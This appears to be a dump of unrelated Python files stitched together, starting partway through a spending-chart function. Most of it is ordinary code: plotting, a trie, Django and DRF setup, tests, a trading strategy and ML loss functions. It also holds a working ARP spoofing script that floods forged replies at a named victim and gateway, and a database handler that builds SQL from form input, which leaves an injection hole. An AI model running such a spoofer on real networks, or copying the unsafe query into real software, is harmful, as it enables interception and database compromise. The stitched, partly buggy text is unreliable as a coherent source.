    cols = ['DATE', 'AMOUNT', 'WHERE', 'TAGS']
    data = [[p.date, p.amount, p.where, p.tags] for p in alldata]
    df = pd.DataFrame(data=data, columns=cols)
    df.set_index("DATE", inplace=True)
    return df

def generate_plot(tdata):

    plt.style.use("ggplot")
    matplotlib.use('Agg')

    tdata.index = pd.to_datetime(tdata.index)
    # path = os.path.dirname(os.path.abspath(__file__))
    # static_path = os.path.join(path, "static", "exp")
    year = tdata.index.year.unique().max()
    data = tdata[tdata.index.year == year]

    this_month = data.index.month.unique().max()

    monthgroup = data.groupby(data.index.month)
    mmean = monthgroup.mean().mean()

    datadict = {}

    with plt.xkcd():
        ax = monthgroup.sum().plot.bar(color="orange", alpha=0.8, rot=0)
        ax.hlines(mmean, -100, 100, linestyles="dashed")
        ax.set_xlabel("Months")
        ax.set_title("Months Spends")
        fig = plt.gcf()
        # plt.savefig(os.path.join(static_path,"month.png"))
        monthly_spend = get_base64_string(fig)
        datadict["monthly_spend"] = monthly_spend
        plt.close()

    weekgroup = data.groupby([data.index.week])
    wmean = weekgroup.mean().mean()

    with plt.xkcd():
        ax = weekgroup.sum()[-5:].plot.bar(rot=0, color="green", alpha=0.8)
        ax.hlines(wmean, -10, 100, linestyles="dashed")
        ax.set_xlabel("Weeks")
        ax.set_title("Last 5 weeks")
        # plt.savefig(os.path.join(static_path,"week.png"))
        fig = plt.gcf()
        weekly_spend = get_base64_string(fig)
        datadict["weekly_spend"] = weekly_spend
        plt.close()

    thismonth = data[data.index.month == this_month]
    thismonth = thismonth.sort_index()

    with plt.xkcd():
        thismonth.AMOUNT.cumsum().plot(alpha=0.9, rot=0)
        ax.set_title("Trend for this month")
        # plt.savefig(os.path.join(static_path,"days.png"))
        fig = plt.gcf()
        month_trend = get_base64_string(fig)
        datadict["month_trend"] = month_trend
        plt.close()

    lastday = data.index.dayofyear.max()
    tenthday = lastday-30

    last10days = data[data.index.dayofyear >= tenthday]
    last10group = last10days.groupby(last10days.index.dayofyear)
    lmean = last10group.mean().mean()

    with plt.xkcd():
        ax = last10group.sum().plot.bar(rot=0, color="yellow", alpha=0.8)
        ax.hlines(lmean, -10, 500, linestyles="dashed")
        ax.set_title("Last 30 days")
        # plt.savefig(os.path.join(static_path,"last10days.png"))
        fig = plt.gcf()
        last10days_in = get_base64_string(fig)
        datadict["last10days_in"] = last10days_in
        plt.close()

    total_this_year = round(data.AMOUNT.sum(), 2)
    total_this_month = round(thismonth.AMOUNT.sum(), 2)
    no_purchases_this_month = thismonth.AMOUNT.count()
    no_purchases_this_year = data.AMOUNT.count()

    with plt.xkcd():
        ax = thismonth.groupby(thismonth.WHERE).sum().sort_values(
            by="AMOUNT")[-5:].plot.bar(color="pink", alpha=0.9, rot=0)
        ax.set_title("Top 5 this month")
        # plt.savefig(os.path.join(static_path,"top5thismonth.png"))
        fig = plt.gcf()
        top5thismonth = get_base64_string(fig)
        datadict["top5thismonth"] = top5thismonth
        plt.close()

    with plt.xkcd():
        ax = data.groupby(data.WHERE).sum().sort_values(
            by="AMOUNT")[-10:].plot.bar(color="purple", alpha=0.8, rot=0)
        ax.set_title("Top of the year")
        plt.xticks(fontsize=10)
        # plt.savefig(os.path.join(static_path,"top10thisyear.png"))
        fig = plt.gcf()
        top10year = get_base64_string(fig)
        datadict["top10year"] = top10year
        plt.close()

    with plt.xkcd():
        plt.text(0.1, 0.9, "Total this year:")
        plt.text(0.1, 0.5, str(total_this_year), fontsize=100)
        plt.axis("off")
        # plt.savefig(os.path.join(static_path,"total_this_year.png"))
        fig = plt.gcf()
        total_year = get_base64_string(fig)
        datadict["total_year"] = total_year
        plt.close()

    with plt.xkcd():
        plt.text(0.1, 0.9, "This Month:")
        plt.text(0.1, 0.5, str(total_this_month), fontsize=100)
        plt.axis("off")
        # plt.savefig(os.path.join(static_path,"total_this_month.png"))
        fig = plt.gcf()
        total_month = get_base64_string(fig)
        datadict["total_month"] = total_month
        plt.close()

    with plt.xkcd():
        plt.text(0.1, 0.9, "Total spends:")
        plt.text(0.1, 0.5, str(no_purchases_this_year), fontsize=100)
        plt.axis("off")
        # plt.savefig(os.path.join(static_path,"no_purchases_this_year.png"))
        fig = plt.gcf()
        no_of_purchase = get_base64_string(fig)
        datadict["no_of_purchase"] = no_of_purchase
        plt.close()

    with plt.xkcd():
        plt.text(0.1, 0.9, "This month no of spends:")
        plt.text(0.1, 0.5, str(no_purchases_this_month), fontsize=100)
        plt.axis("off")
        # plt.savefig(os.path.join(static_path,"no_purchases_this_month.png"))
        fig = plt.gcf()
        no_of_purchase_this_month = get_base64_string(fig)
        datadict["no_of_purchase_this_month"] = no_of_purchase_this_month
        plt.close()

    return datadict

    # with plt.xkcd():
    #     plt.text(0.1, 0.9, "Total this year:")
    #     plt.text(0.1, 0.5, str(total_this_year), fontsize=100)
    #     plt.axis("off");
    #     fig = plt.gcf()
    #     buff = io.BytesIO()
    #     fig.savefig(buff, format="png")
    #     buff.seek(0)
    #     string=base64.b64encode(buff.read())
    #     total_this_year_s = urllib.parse.quote(string)
    #     plt.close()


class TrieNode:
    def __init__(self, letter):
        self.letter = letter
        self.terminal = False
        # here we store the children nodes of this node
        # the letter of the children are the key, and the
        # TrieNode object is the value
        self.children = {}

def findSubstrings(words, parts):

    def addLetter(r,p):
        curNode = r
        for c in p:
            if c not in curNode.children:
                curNode.children[c] = TrieNode(c)
            curNode = curNode.children[c]
        curNode.terminal = True

    root = TrieNode('')
    for p in parts:
        addLetter(root,p)

    for k in range(len(words)):
        w = words[k]
        length = 0
        index = -1
        for i in range(len(w)):
            curNode = root
            wordlen = len(w)
            curWord = ''
            j = i
            while j < wordlen and w[j] in curNode.children:
                curNode = curNode.children[w[j]]
                curWord = curWord + w[j]
                j+=1
                if curNode.terminal and len(curWord) > length:
                    length = len(curWord)
                    index = i
        if index > 0:
            words[k] = w[:index] + '[' + w[index:index+length] + ']' + w[index+length:]

    return words


from rest_framework.permissions import BasePermission
from rest_framework.request import Request

class TempPermissions(BasePermission):
    """TempPermissions."""

    def __init__(self) -> None:
        self._admin: bool = False
        self._user: bool = False

    def _init_permissions(self, request: Request) -> None:

        self._user = (
            request.user and
            request.user.is_active
        )
        self._admin = self._user and (
            request.user.is_staff and
            request.user.is_superuser
        )

    def has_permission(self, request: Request, view: 'TempViewSet') -> bool:

        self._init_permissions(request)

        basic_endpoints: list[str] = [
            'list',
            'list-2',
            'retrieve'
        ]
        advanced_endpoints: list[str] = [
            'create',
            'partial_update',
            'update',
            'destroy'
        ]
        if view.action in basic_endpoints:
            return self._user

        if view.action in advanced_endpoints:
            return self._admin

        return False


DIR = None
FILE_REMOVALS = [
    {"filename": "core/Appearances.csv", "lines": [718]},
    {"filename": "core/FieldingOF.csv", "lines": [462]},
    {"filename": "core/HomeGames.csv", "lines": [3156, 3158, 3168, 3191, 3193, 3194]},
    {
        "filename": "contrib/CollegePlaying.csv",
        "lines": [5172, 5173, 5174, 5468, 10709, 13769, 13770, 13771, 17075, 17076],
    },
]
DB_UPDATES = [
    {
        "table": "allstar_full",
        "column": "team_id",
        "old": "MLN",
        "new": "ML1",
        "cond": "",
    },
    {
        "table": "allstar_full",
        "column": "team_id",
        "old": "MIL",
        "new": "ML4",
        "cond": "AND (year_id BETWEEN 1970 AND 1997)",
    },
    {
        "table": "allstar_full",
        "column": "team_id",
        "old": "LAA",
        "new": "ANA",
        "cond": "AND (year_id BETWEEN 1997 AND 2004)",
    },
]

def remove_lines(filename, line_numbers):
    with open(filename, "r") as file:
        lines = file.readlines()
    with open(filename, "w") as file:
        for line_number, line in enumerate(lines, 1):
            if line_number not in line_numbers:
                file.write(line)

def remove_bad_data():
    for file in FILE_REMOVALS:
        remove_lines("%s/%s" % (DIR, file["filename"]), file["lines"])

def get_corrections():
    query = ""
    for update in DB_UPDATES:
        query += """UPDATE {0} SET {1} = \'{3}\'
                WHERE {1} = \'{2}\' {4};""".format(
            update["table"],
            update["column"],
            update["old"],
            update["new"],
            update["cond"],
        )

    return query


import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D

import numpy as np
from matplotlib import rc
rc('text', usetex=True)

# Draw surface
us = np.linspace(0, 1, 64)
vs = np.linspace(0, 1, 64)

xs = np.outer(us, np.ones_like(vs))*2-1
ys = np.outer(np.ones_like(us), vs)*2-1
zs = xs*xs + ys*ys

# Draw tangent plane
up = np.linspace(0, 1, 64)
vp = np.linspace(0, 1, 64)

xp = np.outer(up, np.ones_like(vp))*2-1
yp = np.outer(np.ones_like(up), vp)*2-1
zp = np.outer(np.zeros_like(up), np.zeros_like(vp))

# Draw intersection plane
ui = np.linspace(0, 1, 64)
vi = np.linspace(0, 1, 64)

xi = np.outer(ui, np.ones_like(vi))*2-1
zi = np.outer(np.ones_like(ui), vi)*2-1
yi = np.outer(np.zeros_like(ui), np.zeros_like(vi))

# Normals
origin = (0,0,0)
n_tangent = (0,0,-1)
n_plane = (0,1,0)

n_line = np.cross(n_tangent, n_plane)

# Intersection close line
ts = np.linspace(-1, 1, 5)
xl = origin[0] + ts * n_line[0]
yl = origin[1] + ts * n_line[1]
zl = origin[2] + ts * n_line[2]

# Intersection
tc = np.linspace(0, 1, 100)
xc = 2*tc-1
yc = np.zeros_like(tc)
zc = xc*xc

# Plot
fig = plt.figure(figsize=(10, 5))

# Sub 1
ax = fig.add_subplot(121, projection='3d')
ax.set_box_aspect(aspect = (1,1,np.sqrt(2)))
ax.axis("off")

ax.plot_wireframe(xs, ys, zs, rstride=16, cstride=16, linewidth=0.8, color = "tab:blue")
ax.plot_wireframe(xp, yp, zp, rstride=16, cstride=16, linewidth=0.8, color = "tab:orange")
ax.quiver(*origin, *n_tangent, color = "tab:orange", lw=2)

ax.plot_wireframe(xi, yi, zi, rstride=16, cstride=16, linewidth=0.8, color = "tab:green")
ax.quiver(*origin, *n_plane, color="tab:green", lw=2)

ax.plot(xl, yl, zl, "black")

ax.plot(xc, yc, zc, "--", color = "black")
ax.plot(*origin, 'ro')

ax.view_init(30, 215, 180)

# Sub 3
ax = fig.add_subplot(122, projection='3d')
ax.set_box_aspect(aspect = (1,1,np.sqrt(2)))
ax.axis("off")

ax.plot_wireframe(xs, ys, zs, rstride=16, cstride=16, linewidth=0.8, color = "tab:blue")
ax.plot_wireframe(xp, yp, zp, rstride=16, cstride=16, linewidth=0.8, color = "tab:orange")
ax.quiver(*origin, *n_tangent, color = "tab:orange", lw=2)

ax.plot_wireframe(xi, yi, zi, rstride=16, cstride=16, linewidth=0.8, color = "tab:green")
ax.quiver(*origin, *n_plane, color="tab:green", lw=2)

ax.plot(xl, yl, zl, "black")

ax.plot(xc, yc, zc, "--", color = "black")
ax.plot(*origin, 'ro')

ax.view_init(30, 145, 180)

plt.tight_layout()

filenames = ["surfacePlaneIntersection2_whole.png"]
plt.savefig(filenames[0], bbox_inches='tight', dpi = 500)

from PIL import Image

outnames = ["surfacePlaneIntersection2_cropped.png"]

for i in range(len(filenames)):
	with Image.open(filenames[i]) as inp:
		arr = np.array(inp)[200:-150,400:-400]
		out = Image.fromarray(arr)
		out.save(outnames[i])

"""
for a in range(360):
	ax.view_init(30, a, 180)
	plt.draw()
	plt.pause(.001)
"""


import sys
import numpy as np
import pickle

import matplotlib.pyplot as plt
from matplotlib import cm
import cmasher as cmr

import scipy.stats

import flare

from flare.LF import models, evo, completeness
from flare.LF.literature import UV

from flare.photom import m_to_flux
import flare.plt as fplt
import flare.stats
from flare.surveys import jwst

z_r = [8.0, 14.4]

fig, ax = fplt.simple()

# ax.fill_between([8,9],[0]*2, [10000]*2, color='k', alpha=0.05)

line_styles = [':','-.','--','-','-','-']

redshift_limits = [7, 15]
log10L_limits = [27.5, 31.]
dz = 0.1
dlog10L = 0.1

m = getattr(UV, 'FLARES_binned')()
bin_edges, bin_centres, volume, N_tot = m.N(redshift_limits = redshift_limits, log10L_limits = log10L_limits, dz = dz, dlog10L = dlog10L, return_volumes = True)

f = 'Webb.NIRCam.F277W'

surveys = [jwst.PEARLS, jwst.CEERS, jwst.COSMOS_Web, jwst.NGDEEP, jwst.PANORAMIC, jwst.PRIMER, jwst.JADES, jwst.Cy1][::-1]

lws = [2.0]+[1.0]*7

colors = cmr.take_cmap_colors('cmr.lavender', len(surveys))

lss = ['-','--','-.',':']*5

for i, (Survey, color, lw, ls) in enumerate(zip(surveys, colors, lws, lss)):

    print(Survey.name)

    N = np.zeros((*N_tot.shape, len(Survey.fields_)))

    for k, field in enumerate(Survey.fields_):

        flux_limit = field['depths'][f]*(10/5)  # <--- assumes we can detect anything at >10\sigma
        area = field['area'] # arcmin2

        # --- simple completeness
        completeness = flare.LF.completeness.completeness_cut(bin_centres, flux_limit, cosmo = flare.default_cosmo())

        # --- get expected number of galaxies
        N_ = np.multiply(N_tot, completeness) * area
        N[:,:,k] = N_ # apply completeness correction

    n = np.sum(np.sum(N, axis=2), axis=0)[::-1]

    cn = np.cumsum(n)
    s = Survey.name.replace(' ',r'\ ')
    ax.plot(bin_centres['z'][::-1], cn, c=color, alpha = 0.7, lw=lw, ls = ls, label = rf"$\rm {s}$")

    for z in [10.,12.,14]:
        print(z, np.interp(z, bin_centres['z'], cn[::-1]))

#
ax.legend(loc= 'lower left', fontsize=8, labelspacing = 0.05)
#
#

ax.set_ylim([0.11, 5000])
ax.set_xlim(z_r)
ax.set_yscale('log')
ax.set_xlabel(r'$\rm z$')
ax.set_ylabel(r'$\rm N(>z,z<15)$')

# from matplotlib.ticker import ScalarFormatter
# ax.yaxis.set_major_formatter(ScalarFormatter())

fig.savefig(f'figs/CN.pdf')


from datasets import load_dataset
import json

# 加载CoNLL-2003数据集、分词器
dataset = load_dataset('conll2003')
dataset_dict={}
label_list = dataset["train"].features["ner_tags"].feature.names

# 将训练集转换为可训练的特征形式
def tokenize_and_align_labels(examples):
    for id,tokens,ner_tags in zip(examples['id'],examples['tokens'],examples['ner_tags']):
        ner_labels=[label_list[ett_order] for ett_order in ner_tags]
        dataset_dict[id]={'sents':' '.join(tokens),'ner_labels':' '.join(ner_labels)}

datasets = dataset.map(tokenize_and_align_labels, batched=True, load_from_cache_file=False)
with open('conll2003.jsonl','w',encoding='utf8') as file:
    file.write(json.dumps(dataset_dict,indent=4))


#create the database
import sqlite3
import random
import string

example_db = '/var/jail/home/shruthi/gesture/random.db'

def create_database():
    conn = sqlite3.connect(example_db)  # connect to that database (will create if it doesn't already exist)
    c = conn.cursor()  # move cursor into database (allows us to execute commands)
    c.execute('''CREATE TABLE IF NOT EXISTS gestures_table (number int,x_vals text, y_vals text);''') # run a CREATE TABLE command
    conn.commit() # commit commands (VERY IMPORTANT!!)
    conn.close() # close connection to database

gest_list = []

def request_handler(request):
    if request["method"] == "GET":
        conn = sqlite3.connect(example_db)
        c = conn.cursor()
        things = c.execute('''SELECT * FROM gestures_table;''').fetchall() #WHERE number=1
        for row in things:
            gest_list.append(row)
        conn.commit()
        conn.close()
        return gest_list
    if request["method"] == "POST":
        create_database()  #call the function!

        number = int(request["form"]["number"])
        x_vals = request["form"]["x_vals"]
        y_vals = request["form"]["y_vals"]

        #send these values to the database
        conn = sqlite3.connect(example_db)
        c = conn.cursor()
        c.execute('''INSERT into gestures_table VALUES (%d, %s, %s);'''%(number, x_vals, y_vals))
        conn.commit()
        conn.close()

        return (number, x_vals, y_vals)
        #have the esp retrieve values from the database


#ARP Spoof single victim.

import socket
import struct
import binascii

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("wlan0",socket.htons(0x0800)))

sor = "" #Source Mac Address.
victmac = "" #Victims Mac Address.

gatemac = "" #Gateway Mac Address.
code = "\x08\x06" #Protocol type, (\x08\x06 is the ARP protocol)
eth1 = victmac+sor+code #For Victims
eth2 = gatemac+sor+code #For gateway

htype = "\x00\x01" #Denote the Ethernet frame.
protype = "\x08\x00" #Protocol type.
hsize = "\x06" #Hardware address size.
psize = "\x04" #Gives the IP Address length.
opcode = "\x00\x02" #Reply Packet.

gate_ip = "192.168.1.1"
victim_ip = "192.168.1.11"
gip = socket.inet_aton (gate_ip) #Converts the IP Address to Hex.
vip = socket.inet_aton (victim_ip) #converts the IP Address to Hex.

arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip
arp_gateway = eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip

while 1:
	s.send(arp_victim)
	s.send(arp_gateway)


from bs4 import BeautifulSoup
from main_bot.services.request import RequestManager

class ParseBleacherReport(RequestManager):
    """Парсер сайта bleacher report"""

    def __init__(self) -> None:
        self.__url = "https://bleacherreport.com/boston-celtics"
        self.source_site = f'' \
                           f'{self.__url.split("//")[0]}//' \
                           f'{self.__url.split("//")[1].split("/")[0]}'

    def parse_posts(self) -> list:
        get_content = self.get(self.__url)
        soup = BeautifulSoup(get_content.text, "html.parser")
        posts = soup.find_all("li", class_="articleSummary")
        posts_list = []
        for post in posts:
            post_link = post.find(
                "div",
                class_="articleContent"
            ).find("a", class_="atom")
            post_name = post.find('div', class_="articleContent").text
            if post_link:
                get_link = post_link.get("href")
                posts_dict = {
                    "post_title": post_name,
                    "link": get_link,
                    "proof": self.source_site
                }
                posts_list.append(posts_dict)
        return posts_list


class Node:
    def __init__(self, data):
        self.data = data
        self.ref = None

class LinkedList:
    def __init__(self):
        self.head = None

    def travese_list(self):
        if self.head == None :
            print("LinkedList has no element")
        else:
            cur_node = self.head
            while cur_node is not None :
                print(cur_node.data)
                cur_node = cur_node.ref

    def insert(self, data):
        new_node = Node(data)
        new_node.ref = self.head
        self.head = new_node

linkedList = LinkedList()

linkedList.insert(1)
linkedList.insert(2)
linkedList.travese_list()


from collections import Counter

class Solution:
    def uniqueOccurrences(self, arr: List[int]) -> bool:
        c = Counter(arr)
        l = list(c.values())
        c2 = Counter(l)
        for i in c2.values():
            if i > 1:
                return False
        return True


# -*- coding: utf-8 -*-

"""Test contents of :mod:`~utilipy.utils.misc`."""

__all__ = [
    "test_temporary_namespace",
    "test_make_help_function_raises",
]

##############################################################################
# IMPORTS

# BUILT-IN
import types

# THIRD PARTY
import pytest

# PROJECT-SPECIFIC
from utilipy.utils import misc

##############################################################################
# PARAMETERS

_doc_ = __doc__

_doc = """Docstring

Returns
-------
Nothing.

"""

##############################################################################
# CODE
##############################################################################

def test_temporary_namespace():  # TODO FIX
    """Test :func:`~utilipy.utils.misc.temporary_namespace`."""
    x = 1
    y = 2

    with misc.temporary_namespace(locals(), keep=["a"]):
        locals()["a"] = 3  # TODO FIX
        locals()["b"] = 4

    assert x, y == (1, 2)
    assert locals()["a"] == 3

    with pytest.raises(AssertionError):
        assert "b" in locals()

# /def

# -------------------------------------------------------------------

def test_make_help_function_raises():
    """Test :func:`~utilipy.utils.misc.make_help_function` Exceptions."""
    with pytest.raises(TypeError):
        misc.make_help_function("test", look_for=Exception)

# /def

def test_make_help_function_find_module():
    """Test :func:`~utilipy.utils.misc.make_help_function` Exceptions."""
    help_function = misc.make_help_function("test", module=None)

    assert help_function.__name__ == "test_help"
    assert help_function.__module__ == "utilipy.utils.tests.test_misc"
    assert help_function.__doc__ == "Help for test.\n\n" + _doc_

# /def

def test_make_help_function_pass_module():
    """Test :func:`~utilipy.utils.misc.make_help_function` Exceptions."""
    module = types.ModuleType("null_module", doc=_doc)

    help_function = misc.make_help_function("test", module=module)

    assert help_function.__name__ == "test_help"
    assert help_function.__module__ == "null_module"
    assert help_function.__doc__ == "Help for test.\n\n" + _doc

# /def

##############################################################################
# END


# coding: utf8
from ztest.test_case import BaseCase
from jsondb.project import Project
from jsondb.pattern import Pattern

class Test(BaseCase):

    def setUp(self):
        self.project = Project()

        self.artifact = self.project.add('artifact')
        self.artifact.pattern.add('int', type=Pattern.INT)
        self.artifact.pattern.add('str', type=Pattern.STR)
        self.artifact.pattern.add('float', type=Pattern.FLOAT)

        self.table_list = self.project.add('table_list', type=Pattern.LIST)
        self.table_list.pattern.items.add('int', type=Pattern.INT)

        self.table_dynamic = self.project.add('table_dynamic', type=Pattern.DYNAMIC_DICT)
        self.table_dynamic.pattern.items.add('str', type=Pattern.STR)

        self.table_list2 = self.project.add('table_list2', type=Pattern.LIST,
                                            item_type=Pattern.INT)

    def test(self):
        for i in xrange(1, 11):
            doc = self.artifact.add(i)
            self.eq(dict(doc.stats()), {'int': 1, 'float': 1, 'str': 1, 'dict': 1 })

        self.eq(dict(self.artifact.stats()),
                        {'int': 10, 'float': 10, 'document': 10, 'str': 10, 'dict': 10})
        self.eq(dict(self.project.stats()),
            {'int': 10, 'float': 10, 'document': 10, 'str': 10, 'table': 4, 'dict': 10})

        #
        for i in xrange(1, 6):
            doc = self.table_list.add(i)
            self.eq(dict(doc.stats()), {})

            for j in xrange(1, 21):
                item = doc.add()
                self.eq(dict(item.stats()), {'int': 1, 'dict': 1})
                self.eq(dict(doc.stats()), {'int': j, 'dict': j})

        self.eq(dict(self.table_list.stats()),
                        {'int': 100, 'document': 5, 'dict': 100})
        self.eq(dict(self.project.stats()),
            {'int': 110, 'float': 10, 'document': 15, 'str': 10, 'table': 4, 'dict': 110})

        #
        for i in xrange(1, 16):
            doc = self.table_dynamic.add(i)
            self.eq(dict(doc.stats()), {})

            for j in xrange(1, 6):
                item = doc.add(j)
                self.eq(dict(item.stats()), {'str': 1, 'dict': 1})
                self.eq(dict(doc.stats()), {'str': j, 'dict': j})

        self.eq(dict(self.table_dynamic.stats()),
                        {'str': 75, 'document': 15, 'dict': 75})
        self.eq(dict(self.project.stats()),
            {'int': 110, 'float': 10, 'document': 30, 'str': 85, 'table': 4, 'dict': 185})

        #
        for i in xrange(1, 11):
            doc = self.table_list2.add(i)
            self.eq(dict(doc.stats()), {})

            for j in xrange(1, 21):
                item = doc.add()
                self.eq(dict(item.stats()), {'int': 1})
                self.eq(dict(doc.stats()), {'int': j})

        self.eq(dict(self.table_list2.stats()),
                        {'int': 200, 'document': 10})
        self.eq(dict(self.project.stats()),
            {'int': 310, 'float': 10, 'document': 40, 'str': 85, 'table': 4, 'dict': 185})


import torch
import torch.nn.functional as F

class clsification_topk_decoder:
    def __init__(self, topk=3):
        self.topk = topk
        return

    def __call__(self, net_predict):
        sofmatmax_prob = F.softmax(net_predict['cls_pred'], dim=-1)
        topk_vals, topk_indices = torch.topk(sofmatmax_prob, k=self.topk)
        # topk_vals: n x k
        # topk_indices: n x k
        out_dict = {
            'pred_probs': topk_vals,
            'topk_indices': topk_indices
        }

        return out_dict


"""HotelIFBA URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path,include
from rest_framework import routers
from HotelariaIFBA.api import viewsets
from django.conf.urls.static import static
from django.conf import settings
from rest_framework_simplejwt.views import (TokenObtainPairView,TokenRefreshView,)

# Empresa, ListaDeServico, TipoServico,Empregados,
# Cliente,Reserva,Alojamento,ServicosUtilizados
router = routers.DefaultRouter()
router.register(r'empresa', viewsets.EmpresaViewSet)
router.register(r'listadeservico', viewsets.ListaDeServicoViewSet)
router.register(r'tiposervico', viewsets.TipoServicoViewSet)
router.register(r'empregados', viewsets.EmpregadosViewSet)
router.register(r'cliente', viewsets.ClienteViewSet)
router.register(r'reserva', viewsets.ReservaViewSet)
router.register(r'alojamento', viewsets.AlojamentoViewSet)
router.register(r'servicosutilizados', viewsets.ServicosUtilizadosViewSet)
router.register(r'users', viewsets.UserViewSet)
urlpatterns = [
    path('', include(router.urls)),
    path('admin/', admin.site.urls),
    path('api-auth/', include('rest_framework.urls', namespace='rest_framework')),
    path('api/token/', TokenObtainPairView.as_view(), name='token_obtain_pair'),
    path('api/token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),
]
if settings.DEBUG:
    urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)


import backtrader as bt

class MaCrossStrategy(bt.Strategy):

    params = (("fast_length", 10), ("slow_length", 50))

    def __init__(self):
        ma_fast = bt.ind.SMA(period=self.params.fast_length)
        ma_slow = bt.ind.SMA(period=self.params.slow_length)

        self.crossover = bt.ind.CrossOver(ma_fast, ma_slow)

    def next(self):
        if not self.position:
            if self.crossover > 0:
                self.buy()
        elif self.crossover < 0:
            self.close()


import itertools
from math import factorial as fac

# n! permutations of hats
# but how many are "all wrong"?

# What is the probability that the result will be all wrong?

# if hat(i) == i, it's not "all wrong" -- throw these away (this hat(i) == i property is sometimes called "fixed")

# find all permutations where hat(0) == 0. (n-1)! of those
# then find all hat(1) == 1. (n-1)! of those
# but... some permutations of each overlap. [ where hat(0) == 0 AND hat(1) == 1 ]
# -- so we have to add those back
# -- leads to the +, -, +, -, ... pattern
# -- n! - (n-1)! + (n-2)! - (n-3)! + ... ???
# let's try it!

def formula(n):
    # GOAL:
    # 1 = 0
    # 2 = 1
    # 3 = 2
    # 4 = 9
    # 5 = 44
    # 6 = 265
    # 7 = 1854
    # 8 = 14833
    # 9 = 133496
    return formula(n-1) * n + (-1)**n if n > 1 else 0

def count_all_wrong(n):
    count = 0
    for p in itertools.permutations(range(n)):
        for i in range(n):
            if p[i] == i:
                break
        else:
            #print(p)
            count += 1
    return count

def main():
    for n in range(1, 10):
        all_wrong = count_all_wrong(n)
        f = formula(n)
        assert all_wrong == f
        prob = all_wrong / fac(n)
        print(f'{n} = {all_wrong} (formula says {f}) -- probability is {prob}')

if __name__ == '__main__':
    main()

# "all wrong" is commonly known as a derangement. Or a subfactorial. Typically written !n instead of n!.
# !N = N! * [1 − 1/!1 + 1/2! - 1/3! + 1/4! - ... + 1/N!]


import pandas as pd
import joblib
import numpy as np
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import f1_score, make_scorer
from sklearn.model_selection import GridSearchCV

# Load the preprocessed data while skipping the header row
X_train = pd.read_csv('data/X_train.csv', header=None, skiprows=1)
y_train = pd.read_csv('data/y_train.csv', header=None, skiprows=1)

# Convert y_train to a NumPy array
y_train = np.array(y_train)

# Add the code to check the number of samples
print("Number of samples in X_train:", X_train.shape[0])
print("Number of samples in y_train:", y_train.shape[0])

print("X_train head:")
print(X_train.head())

print("\ny_train head:")
print(y_train[:5])  # Print the first 5 elements of y_train

# Initialize the classifier (you can choose a different one)
classifier = RandomForestClassifier(random_state=42)

# Define the parameter grid for hyperparameter tuning
param_grid = {
    'n_estimators': [100, 200, 300],
    'max_depth': [None, 10, 20, 30],
}

# Define custom scorer for F1 score
scorer = make_scorer(f1_score)

# Perform grid search with cross-validation to find the best parameters
grid_search = GridSearchCV(classifier, param_grid, scoring=scorer, cv=5, n_jobs=-1)
grid_search.fit(X_train, y_train.ravel())  # Use ravel() to flatten y_train

# Get the best model from the grid search
best_classifier = grid_search.best_estimator_

# Save the best model
joblib.dump(best_classifier, 'models/trained_model.pkl')


from __future__ import print_function, division

from keras.layers import Input, Dense, GaussianNoise, LeakyReLU
from keras.models import Sequential, Model

from keras.layers import Input, Dense, GaussianNoise, LeakyReLU
from keras.models import Sequential, Model
from keras.optimizers import Adam
from keras import backend as K
import tensorflow as tf
import scipy.io as sio
import argparse
from math import *
import scipy.interpolate as interpolate
import matplotlib.pyplot as plt
from mpl_toolkits import mplot3d
import numpy as np
from tensorflow import keras
import tensorflow.keras.backend as K
from tensorflow.keras.models import Model
from tensorflow.keras import layers
from tensorflow.keras.losses import Loss
from sklearn.preprocessing import MinMaxScaler
from tqdm import tqdm
from sklearn.utils import shuffle
from statsmodels.distributions.empirical_distribution import ECDF as fit_ecdf
from scipy.interpolate import RegularGridInterpolator
from sklearn.model_selection import train_test_split

def inverse_transform_sampling(hist, bin_edges):
    cum_values = np.zeros(bin_edges.shape)
    cum_values[1:] = np.cumsum(hist)
    inv_cdf = interpolate.interp1d(cum_values, bin_edges)
    return inv_cdf

def wasserstein_loss(y_true, y_pred):
    return K.mean(y_true* y_pred)

def reciprocal_loss(y_true, y_pred):
    return K.mean(K.pow(y_true*y_pred,-1))

def my_binary_crossentropy(y_true, y_pred):
    return -K.mean(K.log(y_true)+K.log(y_pred))

def logsumexp_loss(y_true, y_pred):
    loss = K.logsumexp(y_pred) - K.log(tf.cast(K.shape(y_true)[0], tf.float32))
    return loss

def phi(x, mu, sigma):
    N,D = np.shape(x)
    unif_output = np.zeros((N,D))
    for i in range(N):
        for j in range(D):
            unif_output[i,j] = (1 + erf((x[i,j] - mu) / sigma / sqrt(2))) / 2
    return unif_output

#Maximum Mean Discrepancy (MMD)
def mmd_score(x,y, kernel="pow", sigma=1.0, beta=1.0, sigmas_mixture=[0.001, 0.01, 0.15, 0.25, 0.50, 0.75], drop_xx=False, drop_yy=False):
    """
    Compute Maximum Mean Discrepancy (MMD) between two multivariate distributions based on samples.
    For kernel = "pow" and beta=1.0 the MMD is equivalent to the energy distance.

    Args:
        x (numpy array): Samples from distribution p
        y (numpy array): Samples from distribution q
        kernel (str, optional): Type of kernel function. Defaults to "rbf".
        sigma (float, optional): bandwidth parameter for RBF kernel. Defaults to 1.0.
        beta (float, optional): Power for power kernel. Defaults to 1.0. This kernel recovers the energy distance.
        sigmas_mixture (list, optional): Bandwidths for mixture of RBF kernels. Defaults to [0.01, 0.1, 1.0, 10.0].

    Returns:
        float: MMD score
    """

    beta=1.0
    N = x.shape[0]
    M = y.shape[0]

    if kernel == "rbf":
        def kern(a):
            return np.exp(-np.power(a,2)/(2*sigma**2))

    elif kernel == "pow":
        def kern(a):
            return -np.power(a,beta)

